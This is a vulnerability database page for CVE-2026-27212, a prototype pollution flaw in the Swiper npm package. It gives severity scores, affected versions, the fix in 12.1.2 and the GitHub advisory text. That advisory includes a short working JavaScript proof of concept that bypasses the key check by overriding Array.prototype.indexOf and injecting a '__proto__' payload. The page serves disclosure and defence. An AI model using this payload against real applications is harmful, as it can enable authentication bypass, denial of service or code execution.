CVE-2026-27212
JSON

9.4critical

Swiper has a Prototype Pollution Vulnerability

Severity
9.4critical CVSS:4.0 by GitHub_M
Exploit likelihood
0.54% (higher than 46% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-hmx5-qpq5-p643

Description

Swiper is a free and mobile touch slider with hardware accelerated transitions and native behavior. Versions 6.5.1 through 12.1.1 have a Prototype pollution vulnerability. The vulnerability resides in line 94 of shared/utils.mjs, where the indexOf() function is used to check whether user provided input contain forbidden strings. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. Any application that processes attacker-controlled input using this package may be affected by the following: Authentication Bypass, Denial of Service and RCE. This issue is fixed in version 12.1.2.

Affected

Product or packageVersionsReported by
nolimits4web swiper>= 6.5.1, < 12.1.2CVE List
swiper (npm)from 6.5.1 before 12.1.2GitHub Advisory Database
swiperjs swiperfrom 6.5.1 before 12.1.2NVD

All scores

GitHub_M9.4critical CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
GitHubcritical CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
NVD7.8high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-1321

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Swiper is a free and mobile touch slider with hardware accelerated transitions and native behavior. Versions 6.5.1 through 12.1.1 have a Prototype pollution vulnerability. The vulnerability resides in line 94 of shared/utils.mjs, where the indexOf() function is used to check whether user provided input contain forbidden strings. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. Any application that processes attacker-controlled input using this package may be affected by the following: Authentication Bypass, Denial of Service and RCE. This issue is fixed in version 12.1.2.

GitHub Advisory Database
Summary

A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2

Details

The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.

PoC
Steps to reproduce
  1. Install latest version of swiper using npm install
  2. Run the following code snippet:
var swiper = require('swiper');
Array.prototype.indexOf = () => -1;        
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred
Expected behavior

Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console:

undefined
undefined OR throw an Error
Actual behavior

Object.prototype is polluted This is printed on the console:

undefined 
yes
Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems:

  1. Authentication bypass
  2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service.
  3. Remote code execution (if polluted property is passed to sinks like eval or child_process)
Related CVEs

CVE-2026-25521 CVE-2026-25047 CVE-2026-26021

NVD (es)

Swiper es un deslizador táctil móvil y gratuito con transiciones aceleradas por hardware y comportamiento nativo. Las versiones 6.5.1 hasta 12.1.1 tienen una vulnerabilidad de contaminación de prototipos. La vulnerabilidad reside en la línea 94 de shared/utils.mjs, donde la función indexOf() se utiliza para verificar si la entrada proporcionada por el usuario contiene cadenas prohibidas. A pesar de una corrección anterior que intentó mitigar la contaminación de prototipos verificando si la entrada del usuario contenía una clave prohibida, todavía es posible contaminar Object.prototype a través de una entrada manipulada usando Array.prototype. El exploit funciona en Windows y Linux y en los entornos de ejecución de Node y Bun. Cualquier aplicación que procese entrada controlada por el atacante usando este paquete puede verse afectada por lo siguiente: Omisión de Autenticación, Denegación de Servicio y RCE. Este problema está solucionado en la versión 12.1.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-27212 changed 2026-02-24CVE Terms of Use
GitHub Advisory DatabaseGHSA-hmx5-qpq5-p643 changed 2026-02-23CC-BY-4.0
NVDCVE-2026-27212 changed 2026-06-17Public domain